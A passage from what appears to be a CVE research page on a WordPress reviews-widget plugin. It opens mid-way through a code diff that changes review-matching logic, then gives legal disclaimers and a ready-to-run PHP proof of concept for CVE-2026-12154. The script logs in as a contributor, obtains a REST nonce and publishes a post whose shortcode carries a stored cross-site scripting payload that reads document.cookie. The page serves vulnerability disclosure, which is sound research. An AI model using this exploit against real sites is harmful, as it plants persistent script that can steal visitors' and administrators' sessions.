+            $parts = $input;
+        } else {
+            return $ids;
+        }
+        foreach ($parts as $p) {
+            $val = intval($p);
+            if ($val > 0) {
+                $ids[] = $val;
+            }
+        }
+        $ids = array_values(array_unique($ids));
+        return $ids;
+    }
+
     public function get_fb_reviews($biz, $opts, $zzz = true) {
         global $wpdb;

--- a/fb-reviews-widget/includes/core/class-google-dao.php
+++ b/fb-reviews-widget/includes/core/class-google-dao.php
@@ -55,12 +55,7 @@
                     );
                 }

-                $review_lang = null;
-                if (isset($review->language)) {
-                    $review_lang = ($review->language == 'en-US' ? 'en' : $review->language);
-                }
-
-                $db_review_id = empty($db_review_id) ? $this->old_review_id($db_biz_id, $review, $review_lang) : $db_review_id;
+                $db_review_id = empty($db_review_id) ? $this->old_review_id($db_biz_id, $review) : $db_review_id;

                 $author_img = null;
                 if (isset($review->author_img)) {
@@ -94,6 +89,11 @@
                     $reply_time = $review->reply_time;
                 }

+                $review_lang = null;
+                if (isset($review->language)) {
+                    $review_lang = ($review->language == 'en-US' ? 'en' : $review->language);
+                }
+
                 if ($db_review_id) {
                     $this->update_review($place->pid, $review, $review_lang, $author_img, $images, $reply, $reply_time, $db_review_id, $log);
                 } else {
@@ -106,40 +106,31 @@
         update_option('grw_save_log', implode('_', $log));
     }

-    private function old_review_id($db_biz_id, $review, $lang) {
+    private function old_review_id($db_biz_id, $review) {
         global $wpdb;

         $where = " WHERE";
         $where_params = array();

-        if (!empty($review->provider)) {
-            $where .= " platform = %s AND";
-            array_push($where_params, $review->provider);
-        }
-
         if (!empty($review->author_url)) {
             $where .= " author_url = %s";
             array_push($where_params, $review->author_url);
         } else {
-            $where .= " time = %s";
-            array_push($where_params, $review->time);
+            $where .= " time = %d";
+            array_push($where_params, $this->review_time($review));
+
             if (!empty($review->author_name)) {
                 $where .= " AND author_name = %s";
                 array_push($where_params, $review->author_name);
             }
         }

-        if (!empty($lang)) {
-            $where .= " AND language = %s";
-            array_push($where_params, $lang);
-        }
-
         if ($db_biz_id) {
             $where .= " AND biz_id = %d";
             array_push($where_params, $db_biz_id);
         }

-        $sql = "SELECT id FROM " . $wpdb->prefix . Database::REVIEW_TABLE . $where/* . " ORDER BY id DESC LIMIT 1"*/;
+        $sql = "SELECT id FROM " . $wpdb->prefix . Database::REVIEW_TABLE . $where . " ORDER BY time DESC, id DESC LIMIT 1";
         return $wpdb->get_var($wpdb->prepare($sql, $where_params));
     }

@@ -335,7 +326,13 @@
     private function upsert_review_text($pid, $review, $lang) {
         global $wpdb;

-        if (empty($lang)) return;
+        $lang = trim((string)$lang);
+        $lang_key = strtolower($lang);
+
+        if ($lang === '' || $lang_key === 'undefined' || $lang_key === 'null') {
+            return;
+        }
+
         if (!isset($review->text) || $review->text === '') return;
         if (empty($review_id = $this->review_id($pid, $review))) return;

@@ -360,6 +357,17 @@
         );
     }

+    private function review_time($review) {
+        if (!empty($review->time)) return (int)$review->time;
+
+        if (!empty($review->time_str)) {
+            $ts = strtotime($review->time_str);
+            if ($ts) return (int)$ts;
+        }
+
+        return 0;
+    }
+
     private function log_last_error($wpdb) {
         if (!empty($wpdb->last_error)) {
             $last_error = $wpdb->last_error;

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12154 - Reviews Widgets for Google, Yelp & TripAdvisor Authenticated Stored XSS via page_id Shortcode Attribute

// Configuration - set these values before running
$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor';           // Contributor-level WordPress user
$password = 'password';              // User's password

// Create a new post with the malicious shortcode
$payload = '"><script>alert(document.cookie)</script>';
$shortcode = '[fbrev page_id="' . $payload . '"]';

// Step 1: Authenticate and get WordPress cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Get the REST API nonce for post creation
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
preg_match('/"([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

// Step 3: Create a post with the malicious shortcode via REST API
$post_data = array(
    'title' => 'Test Post CVE-2026-12154',
    'content' => $shortcode,
    'status' => 'publish',
    'categories' => array(1) // Default category
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 201) {
    $result = json_decode($response, true);
    echo "[+] Created post with ID: " . $result['id'] . "n";
    echo "[+] Visit: " . $result['link'] . " to trigger XSSn";
} else {
    echo "[-] Failed to create post. HTTP code: " . $http_code . "n";
    echo "[-] Response: " . $response . "n";
}

// Clean up cookie file
unlink('/tmp/cookies.txt');

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